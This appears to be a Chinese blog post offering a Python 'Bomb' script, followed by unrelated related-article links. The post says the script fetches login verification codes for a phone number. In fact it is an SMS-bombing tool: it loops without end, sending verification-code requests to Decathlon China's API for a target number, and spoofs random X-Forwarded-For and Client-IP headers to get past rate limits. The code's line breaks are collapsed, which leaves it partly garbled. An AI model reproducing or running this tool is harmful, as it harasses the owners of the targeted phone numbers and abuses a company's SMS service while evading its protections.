通过模拟发送网页登录页面请求获取验证码。

  • 原理是通过requests库的对象构建一个网页请求,网页请求发送给服务器之后。服务器就会对指定手机号发送一个验证码短信。
import requests
import random
import socket
import struct
import timedef initAPI(phone):APIList = [
["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",30,"迪卡侬", "POST", {"countryCode": "CN", "mobile": phone},"https://www.decathlon.com.cn/zh/create"]]return APIListclass initSMS(object):"""docstring for initSMS"""def __init__(self):super(initSMS, self).__init__()self.SMSList = []self.intervalInfo = 0def initBomb(self,APIList):for x in APIList:self.intervalInfo += 1self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))return self.SMSListclass SMSObject(object):"""docstring for SMSObject""" def __init__(self, url, interval, info, method, params, others, intervalInfo):super(SMSObject, self).__init__()self.__url = urlself.__interval = intervalself.__info = infoself.__intervalInfo = intervalInfoself.__method = methodself.__params = paramsself.__others = othersdef getUrl(self):return self.__urldef getInfo(self):return self.__infodef getParams(self):return self.__paramsdef getMethod(self):return self.__methoddef getOthers(self):return self.__othersdef getInterval(self):return self.__intervaldef getintervalInfo(self):return self.__intervalInfodef setintervalInfo(self, intervalInfo):self.__intervalInfo = intervalInfoclass Bomb(object):def __init__(self):super(Bomb, self).__init__()self.HEADERS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',# 'Referer': 'http://10.13.0.1','accept-encoding': 'gzip, deflate, br','accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2','cache-control': 'max-age=0',"X-Requested-With": "XMLHttpRequest"}def send(self, SMS):# return "SUCCESS"IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))self.HEADERS['X-FORWARDED-FOR'] = IPself.HEADERS['CLIENT-IP'] = IPprint('IP=', IP)try:session = requests.Session()if SMS.getOthers() != "":session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)self.HEADERS['Referer'] = SMS.getOthers()if SMS.getMethod() == "GET":req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)else:req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)# print(req.url)except Exception as e:return str(e)return "已发送"if __name__ == '__main__':phoneList=input('请输入手机号码:')bombNum=1while True: bombNum+=1for phone in phoneList: APIList=initAPI(phone) print("\n电话:", phone)SMSList = initSMS().initBomb(APIList=APIList)switchOn = Bomb()i = 0currTime = 0while True:currTime += 1for x in SMSList:if x.getintervalInfo() == 0:i += 1info = switchOn.send(x)print(str(i) + "." + x.getInfo() + " " + info)x.setintervalInfo(x.getInterval())else:x.setintervalInfo(x.getintervalInfo() - 1)time.sleep(2) if i==len(APIList):return 0;

代码有不清楚的地方可以关注并私信我一起交流学习哦。

使用python对指定手机号获取各网站登录的验证码。相关推荐

  1. Python 爬虫进阶必备——某体育网站登录令牌加密分析,赶紧收藏哦!

    某体育网站登录令牌加密分析 aHR0cHMlM0EvL3d3dy55YWJvMjU5LmNvbS9sb2dpbg== 这个网站需要分析的是登录时候的 sign令牌 抓包与加密定位 老规矩先用开发者工具 ...

  2. rpa网站登录图形验证码识别

    先要把图片下载到本地,再调用接口识别 信息 = seFindChildElement(sSessionID, sDivElementID, 1, 'el-icon-date', sElementID) ...

  3. python 对指定URL获取其子链接

    仿照http://blog.csdn.net/lming_08/article/details/44710779里面的方法, 获取指定URL 的所需的子链接及其描述. #!/usr/bin/pytho ...

  4. Python爬虫项目,获取所有网站上的新闻,并保存到数据库中,解析html网页等(未完待续)

    1.需求说明 需求: 爬取虎嗅网站的所有新闻,并保存到数据库中. http://www.huxiu.com 技术: 1.爬虫 获取服务器的资源(urllib) 解析html网页(BeautifulSo ...

  5. 不使用接口的方式获取数据(登录无验证码)

    因其项目较特殊,无法使用httpclient来获取数据,但需求必须实现,所以采用了两种方法来获取数据,前提是有固定的账号和密码能够登陆网站 一.使用selenium工具 先设置maven依赖 因其项目 ...

  6. 软件获取手机的ime权限_获客系统(软件)精准外呼、网站手机号获取、网页手机号获取...

    原标题:获客系统(软件)精准外呼.网站手机号获取.网页手机号获取 1.网站手机号抓取的原理 网站手机号抓取其实运营商通过数据库的流量消耗记录系统,用户只要用流量浏览了某个网站,就会有流量消耗的痕迹,在 ...

  7. python实现手机号获取短信验证码 | 对接打码平台

    前言 本篇文章主要讲了如何利用python自动注册网站(自动识别验证码) ID在用户中心最下面的软件ID里获取 识别类型在"价格体系"中查看 首先需要花1块钱到超级鹰打码平台上买点 ...

  8. python 东方财富接口_Python从东方财富网站获取数据,python,的

    python 获取东方财富网站的数据 #!/usr/bin/env python # -*- coding: utf-8 -*- import pandas as pd from selenium i ...

  9. Python unittest利用discover获取指定目录或多级目录下的测试用例

    最近在写接口自动化框架,由python+requests+unittest构建(其他还有些导入模块,这里暂且不说),目前还在搭建当中,整体其框架结构如下: 在编写Common下的RunTools组件( ...

最新文章

  1. 使用Categorical_endcoder包对标称变量进行个性化编码
  2. zb如何导出自己画的_zbrush纹理贴图(zbrush怎么导出映射贴图)
  3. node.js基础 1之 HTTP事件回调进阶(HTTP模块)
  4. 手机蓝牙连不上jimu机器人_蓝牙连接出现问题到解决问题,一件小事,感慨实时逆向思维的重要...
  5. Git和GitHub使用教程
  6. ZoomIt – 屏幕标注、电子画笔 [小工具]
  7. 用Syslog 记录UNIX和Windows日志的方法
  8. QT右键点击添加库不响应的解决办法
  9. gridview 简单的分页
  10. spring test教程
  11. c#连mysql的latin1编码乱码问题
  12. python课程_python课程大放送
  13. 安笙机器人_张翰新戏搭档徐璐!包贝尔要和辛芷蕾演奇幻电影?
  14. 微积分(二)——曲线积分与曲面积分笔记
  15. 坐拥百度/阿里/腾讯,这家车载导航上市公司的营收却一路下挫?
  16. 排队论----学习反馈
  17. python expend_Python序列化proto中repeated修饰的数据
  18. Learn OpenGL 笔记7.1 PBR Theory(physically based rendering基于物理的渲染 理论)
  19. 九度1088——剩下的树
  20. Qt设置按钮背景图片

热门文章

  1. 三类医疗器械经营许可证
  2. RDBMS和HDFS, HIVE, HBASE的迁移工具Sqoop
  3. mybatis(一)MyBatis Generator
  4. Jupyter notebook用谷歌浏览器打开
  5. 《向上生长》九边 读后感
  6. java连接neo4j(使用spring data neo4j)
  7. (转载)一种简单而有趣的数据结构——并查集
  8. IDEA中对代码进行commit时,git报Unable to create ‘E:/blog/.git/index.lock‘: File exists问题解决
  9. [RK3399/RK3328][Android10.0] storage:u盘/移动硬盘 每次开机都提示需要格式化
  10. 简单理解:第一类错误,第二类错误,统计显著性,空假设和P值